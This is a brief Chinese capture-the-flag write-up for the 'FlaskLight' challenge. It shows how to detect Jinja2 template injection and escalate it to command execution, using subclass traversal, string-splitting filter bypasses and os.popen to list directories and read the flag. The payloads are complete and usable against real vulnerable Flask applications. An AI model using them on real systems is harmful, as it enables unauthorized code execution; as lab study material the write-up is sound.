[CSCCTF 2019 Qual]FlaskLight
查看源码有提示,模板注入做的很多了。?search={{7*7}}看一下注入的类型,确定是SSTI注入。
因为之前做过类似的题,用的是catch_warnings类,这次想用一样的payload但是好像不行
?search= {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.['__glo'+'bals__']['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
?search=[].__class__.__base__.__subclasses__()
看一下是有catch_warnings这个类的,最后试下来是listdir被过滤了,换成popen('ls').read()
就好了。
http://ce91ad90-010d-478f-91b2-e2294cdb4ac2.node4.buuoj.cn:81/?search= {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__['__glo'+'bals__']['__builtins__']['__imp'+'ort__']('o'+'s').popen('ls').read()}}{% endif %}{% endfor %}
拿到目录,再进入flasklight文件夹下
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__['__glo'+'bals__']['__builtins__']['__imp'+'ort__']('o'+'s').popen('ls /flasklight').read()}}{% endif %}{% endfor %}
最后cat /flasklight/coomme_geeeett_youur_flek
拿到flag
还可以用site._Printer类和subprocess.Popen类来做
https://www.cnblogs.com/ersuani/p/13896200.html
添加链接描述